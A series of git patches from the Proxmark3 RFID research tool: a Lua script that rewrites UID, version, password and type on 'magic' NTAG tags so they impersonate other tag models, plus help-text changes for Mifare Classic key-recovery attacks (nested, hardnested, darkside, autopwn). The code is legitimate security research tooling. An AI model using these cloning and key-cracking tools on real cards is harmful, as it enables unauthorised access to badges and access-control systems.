PACK', pack) + + local resp = send('A2F1'..pack..'0000') + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write pack' + else + return true, 'Ok' + end +end +-- +-- Write OTP block +local function write_otp(block3) + + -- OTP string checks + if block3 == nil then return nil, 'empty OTP string' end + if #block3 == 0 then return nil, 'empty OTP string' end + if #block3 ~= 8 then return nil, 'OTP wrong length. Should be 4 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new OTP ', block3) + + local resp = send('A203'..block3) + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write OTP' + else + return true, 'Ok' + end +end +-- +-- Writes a UID with bcc1, bcc2. Needs a magic tag. +local function write_uid(uid) + -- uid string checks + if uid == nil then return nil, 'empty uid string' end + if #uid == 0 then return nil, 'empty uid string' end + if #uid ~= 14 then return nil, 'uid wrong length. Should be 7 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new UID ', uid) + + local uidbytes = utils.ConvertHexToBytes(uid) + local bcc1 = bxor(bxor(bxor(uidbytes[1], uidbytes[2]), uidbytes[3]), 0x88) + local bcc2 = bxor(bxor(bxor(uidbytes[4], uidbytes[5]), uidbytes[6]), uidbytes[7]) + local block0 = string.format('%02X%02X%02X%02X', uidbytes[1], uidbytes[2], uidbytes[3], bcc1) + local block1 = string.format('%02X%02X%02X%02X', uidbytes[4], uidbytes[5], uidbytes[6], uidbytes[7]) + local block2 = string.format('%02X%02X%02X%02X', bcc2, 0x48, 0x00, 0x00) + local resp + + resp = send('A200'..block0) + resp = send('A201'..block1) + resp = send('A202'..block2) + lib14a.disconnect() + + if resp == '04' then + return nil, 'Failed to write new uid' + else + return true, 'Ok' + end +end +--- +-- Write VERSION data, +-- make sure you have correct version data +local function write_version(data) + -- version string checks + if data == nil then return nil, 'empty version string' end + if #data == 0 then return nil, 'empty version string' end + if #data ~= 16 then return nil, 'version wrong length. Should be 8 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new version', data) + + local b1 = data:sub(1,8) + local b2 = data:sub(9,16) + local resp + resp = send('A2FA'..b1) + resp = send('A2FB'..b2) + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write version' + else + return true, 'Ok' + end +end +--- +-- writen TYPE which card is based on. +-- 00 = 213, 01 = 215, 02 = 216 +local function write_type(data) + -- type string checks + if data == nil then return nil, 'empty type string' end + if #data == 0 then return nil, 'empty type string' end + if #data ~= 2 then return nil, 'type wrong length. Should be 1 hex byte' end + + local info = connect() + if not info then return false, "Can't select card" end + print('Writing new type', data) + + local resp = send('A2FC'..data..'000000') + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write type' + else + return true, 'Ok' + end +end +--- +-- Set tag type. Predefinde version data together with magic type set. +-- Since cmd always gives 10 bytes len (data+crc) we can impersonate the following types +-- we only truely be three types NTAG 213,215 and 216 +local function set_type(tagtype) + + -- tagtype checks + if type(tagtype) == 'string' then tagtype = tonumber(tagtype, 10) end + if tagtype == nil then return nil, 'empty tagtype' end + + if tagtype == 1 then + print('Setting: UL-EV1 48') + write_otp('00000000') -- Setting OTP to default 00 00 00 00 + write_version('0004030101000b03') -- UL-EV1 (48) 00 04 03 01 01 00 0b 03 + write_type('00') -- based on NTAG213.. + + -- Setting UL-Ev1 default config bl 16,17 + connect() + send('a210000000FF') + send('a21100050000') + + elseif tagtype == 2 then + print('Setting: UL-EV1 128') + write_otp('00000000') -- Setting OTP to default 00 00 00 00 + write_version('0004030101000e03') -- UL-EV1 (128) 00 04 03 01 01 00 0e 03 + write_type('01') + + -- Setting UL-Ev1 default config bl 37,38 + connect() + send('a225000000FF') + send('a22600050000') + elseif tagtype == 3 then + print('Setting: NTAG 210') + write_version('0004040101000b03') -- NTAG210 00 04 04 01 01 00 0b 03 + write_type('00') + + -- Setting NTAG210 default CC block456 + connect() + send('a203e1100600') + send('a2040300fe00') + send('a20500000000') + -- Setting cfg1/cfg2 + send('a210000000FF') + send('a21100050000') + elseif tagtype == 4 then + print('Setting: NTAG 212') + write_version('0004040101000E03') -- NTAG212 00 04 04 01 01 00 0E 03 + write_type('00') + + -- Setting NTAG212 default CC block456 + connect() + send('a203e1101000') + send('a2040103900a') + send('a205340300fe') + -- Setting cfg1/cfg2 + send('a225000000FF') + send('a22600050000') + elseif tagtype == 5 then + print('Setting: NTAG 213') + write_version('0004040201000F03') -- NTAG213 00 04 04 02 01 00 0f 03 + write_type('00') + + -- Setting NTAG213 default CC block456 + connect() + send('a203e1101200') + send('a2040103a00c') + send('a205340300fe') + -- setting cfg1/cfg2 + send('a229000000ff') + send('a22a00050000') + elseif tagtype == 6 then + print('Setting: NTAG 215') + write_version('0004040201001103') -- NTAG215 00 04 04 02 01 00 11 03 + write_type('01') + + -- Setting NTAG215 default CC block456 + connect() + send('a203e1103e00') + send('a2040300fe00') + send('a20500000000') + -- setting cfg1/cfg2 + send('a283000000ff') + send('a28400050000') + elseif tagtype == 7 then + print('Setting: NTAG 216') + write_version('0004040201001303') -- NTAG216 00 04 04 02 01 00 13 03 + write_type('02') + + -- Setting NTAG216 default CC block456 + connect() + send('a203e1106d00') + send('a2040300fe00') + send('a20500000000') + -- setting cfg1/cfg2 + send('a2e3000000ff') + send('a2e400050000') + elseif tagtype == 8 then + print('Setting: NTAG I2C 1K') + write_version('0004040502011303') -- NTAG_I2C_1K 00 04 04 05 02 01 13 03 + write_type('02') + + -- Setting NTAG I2C 1K default CC block456 + connect() + send('a203e1106D00') + send('a2040300fe00') + send('a20500000000') + elseif tagtype == 9 then + print('Setting: NTAG I2C 2K') + write_version('0004040502011503') -- NTAG_I2C_2K 00 04 04 05 02 01 15 03 + write_type('02') + + -- Setting NTAG I2C 2K default CC block456 + connect() + send('a203e110EA00') + send('a2040300fe00') + send('a20500000000') + elseif tagtype == 10 then + print('Setting: NTAG I2C plus 1K') + write_version('0004040502021303') -- NTAG_I2C_1K 00 04 04 05 02 02 13 03 + write_type('02') + + -- Setting NTAG I2C 1K default CC block456 + connect() + send('a203e1106D00') + send('a2040300fe00') + send('a20500000000') + elseif tagtype == 11 then + print('Setting: NTAG I2C plus 2K') + write_version('0004040502021503') -- NTAG_I2C_2K 00 04 04 05 02 02 15 03 + write_type('02') + + -- Setting NTAG I2C 2K default CC block456 + connect() + send('a203e1106D00') + send('a2040300fe00') + send('a20500000000') + elseif tagtype == 12 then + print('Setting: NTAG 213F') + write_version('0004040401000F03') -- NTAG213F 00 04 04 04 01 00 0f 03 + write_type('00') + + -- Setting NTAG213 default CC block456 + connect() + send('a203e1101200') + send('a2040103a00c') + send('a205340300fe') + -- setting cfg1/cfg2 + send('a229000000ff') + send('a22a00050000') + elseif tagtype == 13 then + print('Setting: NTAG 216F') + write_version('0004040401001303') -- NTAG216F 00 04 04 04 01 00 13 03 + write_type('02') + + -- Setting NTAG216 default CC block456 + connect() + send('a203e1106d00') + send('a2040300fe00') + send('a20500000000') + -- setting cfg1/cfg2 + send('a2e3000000ff') + send('a2e400050000') + end + + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to set type' + else + return true, 'Ok' + end +end +--- +-- wipe tag +local function wipe() + + local info = connect() + if not info then return false, "Can't select card" end + + local err, msg, resp + local cmd_empty = 'A2%02X00000000' + local cmd_cfg1 = 'A2%02X000000FF' + local cmd_cfg2 = 'A2%02X00050000' + + print('Wiping tag') + + for b = 3, 0xFB do + --configuration block 0 + if b == 0x29 or b == 0x83 or b == 0xe3 then + local cmd = (cmd_cfg1):format(b) + resp = send(cmd) + --configuration block 1 + elseif b == 0x2a or b == 0x84 or b == 0xe4 then + local cmd = (cmd_cfg2):format(b) + resp = send(cmd) + else + resp = send(cmd_empty:format(b)) + end + if resp == '04' or #resp == 0 then + io.write('\nwrote block '..b, ' failed\n') + err = true + else + io.write('.') + end + io.flush() + end + io.write('\r\n') + + lib14a.disconnect() + + if err then return nil, "Tag locked down, "..err_lock end + + print('setting default values...') + + set_password(nil) + + -- set NTAG213 default values + err, msg = set_type(5) + if err == nil then return err, msg end + + --set UID + err, msg = write_uid('04112233445566') + if err == nil then return err, msg end + + --set pwd + err, msg = write_pwd('FFFFFFFF') + if err == nil then return err, msg end + + --set pack + err, msg = write_pack('0000') + if err == nil then return err, msg end + + return true, 'Ok' +end +--- +-- The main entry point +function main(args) + + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print() + + local err, msg + + if #args == 0 then return help() end + + -- Read the parameters + for o, a in getopt.getopt(args, 'hck:u:t:p:a:s:o:v:w') do + + -- help + if o == "h" then return help() end + + --key + if o == 'k' then err, msg = set_password(a) end + + -- configuration + if o == "c" then err, msg = read_config() end + + --wipe tag + if o == "w" then err, msg = wipe() end + + -- write uid + if o == "u" then err, msg = write_uid(a) end + + -- write type/version + if o == "t" then err, msg = set_type(a) end + + -- write pwd + if o == "p" then err, msg = write_pwd(a) end + + -- write pack + if o == "a" then err, msg = write_pack(a) end + + -- write signature + if o == "s" then err, msg = write_signature(a) end + + -- write otp + if o == "o" then err, msg = write_otp(a) end + + -- write version + if o == "v" then err, msg = write_version(a) end + + if err == nil then return oops(msg) end + end + +end + +main(args) From 315291e201efd1d96ac724dbd2478966408beb27 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 26 Dec 2019 00:11:16 +0100 Subject: [PATCH 132/418] textual --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f9f00c43..200da096e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Add mfu_magic.lua - script to interact with your magic NTAG tag. (@iceman1001) - Add `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) - Add `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) - Add `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) From 03495f0b1413abdc1cd925a6052417b71873e521 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 26 Dec 2019 00:22:21 +0100 Subject: [PATCH 133/418] style --- client/fileutils.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index 1677fe388..c8cdb3462 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -466,10 +466,10 @@ out: int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector) { if (e_sector == NULL) return PM3_EINVARG; - + char *fileName = newfilenamemcopy(preferredName, ".bin"); if (fileName == NULL) return PM3_EMALLOC; - + FILE *f = fopen(fileName, "wb"); if (f == NULL) { PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fileName); @@ -479,20 +479,20 @@ int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_ uint8_t empty[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; uint8_t tmp[6] = {0, 0, 0, 0, 0, 0}; - + for (int i = 0; i < sectorsCnt; i++) { - if (e_sector[i].foundKey[0]) + if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], sizeof(tmp), tmp); - else - memcpy(tmp, empty, sizeof(tmp)); + else + memcpy(tmp, empty, sizeof(tmp)); fwrite(tmp, 1, sizeof(tmp), f); } for (int i = 0; i < sectorsCnt; i++) { - if (e_sector[i].foundKey[0]) + if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[1], sizeof(tmp), tmp); - else - memcpy(tmp, empty, sizeof(tmp)); + else + memcpy(tmp, empty, sizeof(tmp)); fwrite(tmp, 1, sizeof(tmp), f); } From 83e8eeb1f8e7de69adfdf79afcf913d88169fc6e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 26 Dec 2019 00:23:01 +0100 Subject: [PATCH 134/418] Chg: 'lf t55xx dump' - now saves as JSON format aswell --- client/cmdlft55xx.c | 1 + 1 file changed, 1 insertion(+) diff --git a/client/cmdlft55xx.c b/client/cmdlft55xx.c index 9135ab957..72dc7befe 100644 --- a/client/cmdlft55xx.c +++ b/client/cmdlft55xx.c @@ -2325,6 +2325,7 @@ static int CmdT55xxDump(const char *Cmd) { for (int i = 0; i < T55x7_BLOCK_COUNT; i++) data[i] = BSWAP_32(cardmem[i].blockdata); + saveFileJSON(preferredName, jsfT55x7, (uint8_t *)data, T55x7_BLOCK_COUNT * sizeof(uint32_t)); saveFileEML(preferredName, (uint8_t *)data, T55x7_BLOCK_COUNT * sizeof(uint32_t), sizeof(uint32_t)); saveFile(preferredName, ".bin", data, sizeof(data)); } From 657061f8d5c9c94897d417c22b50554e74897239 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 26 Dec 2019 23:41:30 +0100 Subject: [PATCH 135/418] fix: use defines.. --- armsrc/Standalone/hf_colin.c | 2 +- armsrc/Standalone/hf_mattyrun.c | 2 +- armsrc/mifarecmd.c | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/armsrc/Standalone/hf_colin.c b/armsrc/Standalone/hf_colin.c index 8efcb1003..ffe2a613f 100644 --- a/armsrc/Standalone/hf_colin.c +++ b/armsrc/Standalone/hf_colin.c @@ -1059,7 +1059,7 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data }; } - if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { DbprintfEx(FLAG_NEWLINE, "write block send command error"); break; diff --git a/armsrc/Standalone/hf_mattyrun.c b/armsrc/Standalone/hf_mattyrun.c index 9fff4a226..3e53fffe9 100644 --- a/armsrc/Standalone/hf_mattyrun.c +++ b/armsrc/Standalone/hf_mattyrun.c @@ -136,7 +136,7 @@ static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_ }; } - if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { DbprintfEx(FLAG_NEWLINE, "write block send command error"); break; }; diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index d0dd27be8..47c353855 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1889,7 +1889,7 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } } - if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("write block send command error"); errormsg = 4; break; @@ -1968,7 +1968,7 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } // read block - if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("read block send command error"); errormsg = 0; break; @@ -2154,7 +2154,7 @@ void MifareSetMod(uint8_t *datain) { } int respLen; - if (((respLen = mifare_sendcmd_short(pcs, 1, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) { + if (((respLen = mifare_sendcmd_short(pcs, CRYPT_ALL, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) { if (DBGLEVEL >= 1) Dbprintf("SetMod error; response[0]: %hhX, len: %d", receivedAnswer[0], respLen); break; } From ac6afe9c0488798cfb78ce7e93fef01582ddf569 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 28 Dec 2019 21:40:52 +0100 Subject: [PATCH 136/418] Chg: 'lf t55xx dump - updated json format --- client/fileutils.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index c8cdb3462..a11dbcd2a 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -338,9 +338,9 @@ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, s } case jsfT55x7: { JsonSaveStr(root, "FileType", "t55x7"); - uint8_t id[4] = {0}; - memcpy(id, data, 4); - JsonSaveBufAsHexCompact(root, "$.Card.ID", id, sizeof(id)); + uint8_t conf[4] = {0}; + memcpy(conf, data, 4); + JsonSaveBufAsHexCompact(root, "$.Card.ConfigBlock", conf, sizeof(conf)); for (size_t i = 0; i < (datalen / 4); i++) { char path[PATH_MAX_LENGTH] = {0}; From 072255d04fa0ca56fce6adb22da65c66a297d91e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 28 Dec 2019 23:51:17 +0100 Subject: [PATCH 137/418] fix: 'hf mf chk' - reading block B ... https://github.com/RfidResearchGroup/proxmark3/issues/489 --- client/cmdhfmf.c | 260 +++++++++++++++++++++++++++++++++-------------- client/cmdhfmf.h | 1 + 2 files changed, 184 insertions(+), 77 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 5a70488fe..910763a23 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -49,7 +49,7 @@ static int usage_hf14_ice(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf ice"); PrintAndLogEx(NORMAL, " hf mf ice f nonces.bin"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_dump(void) { @@ -61,7 +61,7 @@ static int usage_hf14_dump(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf dump"); PrintAndLogEx(NORMAL, " hf mf dump 4"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_mifare(void) { @@ -74,7 +74,7 @@ static int usage_hf14_mifare(void) { PrintAndLogEx(NORMAL, " hf mf darkside"); PrintAndLogEx(NORMAL, " hf mf darkside 16"); PrintAndLogEx(NORMAL, " hf mf darkside 16 B"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_mfsim(void) { PrintAndLogEx(NORMAL, "Usage: hf mf sim [u ] [n ] [t] [a ] [s ] [i] [x] [e] [v]"); @@ -98,7 +98,7 @@ static int usage_hf14_mfsim(void) { PrintAndLogEx(NORMAL, " hf mf sim u 11223344556677"); PrintAndLogEx(NORMAL, " hf mf sim u 112233445566778899AA"); PrintAndLogEx(NORMAL, " hf mf sim u 11223344 i x"); - return 0; + return PM3_SUCCESS; } /* * static int usage_hf14_sniff(void) { @@ -112,14 +112,13 @@ static int usage_hf14_mfsim(void) { PrintAndLogEx(NORMAL, " f decrypt sequence, collect read and write commands and save the result of the sequence to emulator dump file `uid.eml`"); PrintAndLogEx(NORMAL, "Example:"); PrintAndLogEx(NORMAL, " hf mf sniff l d f"); - return 0; + return PM3_SUCCESS; } */ static int usage_hf14_nested(void) { PrintAndLogEx(NORMAL, "Usage:"); - PrintAndLogEx(NORMAL, " all sectors: hf mf nested [t,d]"); - PrintAndLogEx(NORMAL, " one sector: hf mf nested o "); - PrintAndLogEx(NORMAL, " [t]"); + PrintAndLogEx(NORMAL, " all sectors: hf mf nested [t,d]"); + PrintAndLogEx(NORMAL, " one sector: hf mf nested o [t]"); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); @@ -127,11 +126,11 @@ static int usage_hf14_nested(void) { PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF -- nested attack against 1k,block 0, Key A using key FFFFFFFFFFFF"); - PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); - PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); - PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A"); - return 0; + PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF -- nested attack against 1K, block 0, Key A using key FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " hf mf nested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); + PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A -- nested attack against ONE sector. Use block 0 Key A to find block 4 Key A"); + return PM3_SUCCESS; } static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, "Usage:"); @@ -164,7 +163,7 @@ static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Add the known target key to check if it is present in the remaining key space:"); PrintAndLogEx(NORMAL, " hf mf hardnested 0 A A0A1A2A3A4A5 4 A FFFFFFFFFFFF"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_autopwn(void) { PrintAndLogEx(NORMAL, "Usage:"); @@ -200,7 +199,7 @@ static int usage_hf14_autopwn(void) { PrintAndLogEx(NORMAL, " hf mf autopwn * 1 f mfc_default_keys -- target Mifare classic card (size 1k) with default dictionary"); PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF -- target Mifare classic card with Sector0 typeA with known key 'FFFFFFFFFFFF'"); PrintAndLogEx(NORMAL, " hf mf autopwn k 0 A FFFFFFFFFFFF * 1 f mfc_default_keys -- this command combines the two above (reduce the need for nested / hardnested attacks, by using a dictionary)"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_chk(void) { PrintAndLogEx(NORMAL, "Usage: hf mf chk [h] |<*card memory> [t|d] [] []"); @@ -219,7 +218,7 @@ static int usage_hf14_chk(void) { PrintAndLogEx(NORMAL, " hf mf chk 0 A mfc_default_keys.dic -- target block 0, Key A using default dictionary file"); PrintAndLogEx(NORMAL, " hf mf chk *1 ? t -- target all blocks, all keys, 1K, write to emulator memory"); PrintAndLogEx(NORMAL, " hf mf chk *1 ? d -- target all blocks, all keys, 1K, write to file"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_chk_fast(void) { PrintAndLogEx(NORMAL, "This is a improved checkkeys method speedwise. It checks Mifare Classic tags sector keys against a dictionary file with keys"); @@ -242,7 +241,7 @@ static int usage_hf14_chk_fast(void) { PrintAndLogEx(NORMAL, " hf mf fchk 1 d -- target 1K, write to file"); if (IfPm3Flash()) PrintAndLogEx(NORMAL, " hf mf fchk 1 m -- target 1K, use dictionary from flashmemory"); - return 0; + return PM3_SUCCESS; } /* static int usage_hf14_keybrute(void) { @@ -276,7 +275,7 @@ static int usage_hf14_restore(void) { PrintAndLogEx(NORMAL, " hf mf restore 1 u 12345678 -- restore from hf-mf-12345678-key.bin and hf-mf-12345678-data.bin"); PrintAndLogEx(NORMAL, " hf mf restore 1 u 12345678 k dumpkey.bin -- restore from dumpkey.bin and hf-mf-12345678-data.bin"); PrintAndLogEx(NORMAL, " hf mf restore 4 -- read the UID from tag with 4K memory first, then restore from hf-mf--key.bin and and hf-mf--data.bin"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_decryptbytes(void) { PrintAndLogEx(NORMAL, "Decrypt Crypto-1 encrypted bytes given some known state of crypto. See tracelog to gather needed values\n"); @@ -290,25 +289,25 @@ static int usage_hf14_decryptbytes(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf decrypt b830049b 9248314a 9280e203 41e586f9\n"); PrintAndLogEx(NORMAL, " this sample decrypts 41e586f9 -> 3003999a Annotated: 30 03 [99 9a] auth block 3 [crc]"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_eget(void) { PrintAndLogEx(NORMAL, "Usage: hf mf eget "); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf eget 0 "); - return 0; + return PM3_SUCCESS; } static int usage_hf14_eclr(void) { PrintAndLogEx(NORMAL, "It set card emulator memory to empty data blocks and key A/B FFFFFFFFFFFF \n"); PrintAndLogEx(NORMAL, "Usage: hf mf eclr"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_eset(void) { PrintAndLogEx(NORMAL, "Usage: hf mf eset "); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf eset 1 000102030405060708090a0b0c0d0e0f "); - return 0; + return PM3_SUCCESS; } static int usage_hf14_eload(void) { PrintAndLogEx(NORMAL, "It loads emul dump from the file `filename.eml`"); @@ -318,7 +317,7 @@ static int usage_hf14_eload(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf eload filename"); PrintAndLogEx(NORMAL, " hf mf eload 4 filename"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_esave(void) { PrintAndLogEx(NORMAL, "It saves emul dump into the file `filename.eml` or `cardID.eml`"); @@ -329,7 +328,7 @@ static int usage_hf14_esave(void) { PrintAndLogEx(NORMAL, " hf mf esave "); PrintAndLogEx(NORMAL, " hf mf esave 4"); PrintAndLogEx(NORMAL, " hf mf esave 4 filename"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_ecfill(void) { PrintAndLogEx(NORMAL, "Read card and transfer its data to emulator memory."); @@ -340,16 +339,20 @@ static int usage_hf14_ecfill(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf ecfill A"); PrintAndLogEx(NORMAL, " hf mf ecfill A 4"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_ekeyprn(void) { PrintAndLogEx(NORMAL, "It prints the keys loaded in the emulator memory"); - PrintAndLogEx(NORMAL, "Usage: hf mf ekeyprn [card memory]"); - PrintAndLogEx(NORMAL, " [card memory]: 0 = 320 bytes (Mifare Mini), 1 = 1K (default), 2 = 2K, 4 = 4K"); + PrintAndLogEx(NORMAL, "Usage: hf mf ekeyprn [card memory] [d]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); + PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); - PrintAndLogEx(NORMAL, " hf mf ekeyprn 1"); - return 0; + PrintAndLogEx(NORMAL, " hf mf ekeyprn 1"); + PrintAndLogEx(NORMAL, " hf mf ekeyprn d"); + return PM3_SUCCESS; } static int usage_hf14_csetuid(void) { @@ -365,7 +368,7 @@ static int usage_hf14_csetuid(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf csetuid 01020304"); PrintAndLogEx(NORMAL, " hf mf csetuid 01020304 0004 08 w"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_csetblk(void) { PrintAndLogEx(NORMAL, "Set block data for magic Chinese card. Only works with magic cards"); @@ -379,7 +382,7 @@ static int usage_hf14_csetblk(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf csetblk 1 01020304050607080910111213141516"); PrintAndLogEx(NORMAL, " hf mf csetblk 1 01020304050607080910111213141516 w"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_cload(void) { PrintAndLogEx(NORMAL, "It loads magic Chinese card from the file `filename.eml`"); @@ -395,7 +398,7 @@ static int usage_hf14_cload(void) { PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf cload mydump"); PrintAndLogEx(NORMAL, " hf mf cload e"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_cgetblk(void) { PrintAndLogEx(NORMAL, "Get block data from magic Chinese card. Only works with magic cards\n"); @@ -406,7 +409,7 @@ static int usage_hf14_cgetblk(void) { PrintAndLogEx(NORMAL, " block number"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf cgetblk 1"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_cgetsc(void) { PrintAndLogEx(NORMAL, "Get sector data from magic Chinese card. Only works with magic cards\n"); @@ -417,7 +420,7 @@ static int usage_hf14_cgetsc(void) { PrintAndLogEx(NORMAL, " sector number"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf cgetsc 0"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_csave(void) { PrintAndLogEx(NORMAL, "It saves `magic Chinese` card dump into the file `filename.eml` or `cardID.eml`"); @@ -435,7 +438,7 @@ static int usage_hf14_csave(void) { PrintAndLogEx(NORMAL, " hf mf csave u 1"); PrintAndLogEx(NORMAL, " hf mf csave e 1"); PrintAndLogEx(NORMAL, " hf mf csave 4 o filename"); - return 0; + return 